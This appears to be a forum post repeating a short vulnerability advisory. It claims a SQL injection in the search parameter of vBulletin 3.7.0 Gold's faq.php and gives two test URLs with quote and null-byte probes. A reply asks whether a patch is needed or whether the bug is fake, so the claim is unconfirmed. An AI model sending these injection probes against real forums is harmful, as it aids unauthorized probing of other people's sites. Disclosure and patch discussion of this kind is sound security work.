Vendor : vbulletin.org
version : 3.7.0 Gold
Vulnerability: Sql injection
http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1
test it:
faq.php?s=&do=search&q='&match=any&titlesonly=1
faq.php?s=&do=search&q=%00'&match=all&titlesonly=0
Enjoy it...
version : 3.7.0 Gold
Vulnerability: Sql injection
http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1
test it:
faq.php?s=&do=search&q='&match=any&titlesonly=1
faq.php?s=&do=search&q=%00'&match=all&titlesonly=0
Enjoy it...
do we have to look into a patch, or this is just another fake bug?
Comment